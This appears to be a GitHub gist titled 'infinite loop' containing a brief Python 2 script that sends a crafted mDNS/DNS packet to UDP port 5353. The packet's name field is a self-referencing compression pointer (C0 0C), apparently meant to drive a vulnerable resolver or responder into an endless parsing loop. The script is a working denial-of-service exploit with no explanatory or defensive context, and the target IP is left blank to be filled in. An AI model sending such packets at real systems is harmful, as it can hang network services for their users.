Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
infinite loop
import socket
UDP_IP = ""
UDP_PORT = 5353
MESSAGE = ('7EFD01000001000000000000' + 'C0' + '0C').decode('hex')
print "UDP target IP:", UDP_IP
print "UDP target port:", UDP_PORT
print "message:", MESSAGE
sock = socket.socket(socket.AF_INET, # Internet
socket.SOCK_DGRAM) # UDP
sock.sendto(MESSAGE, (UDP_IP, UDP_PORT))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment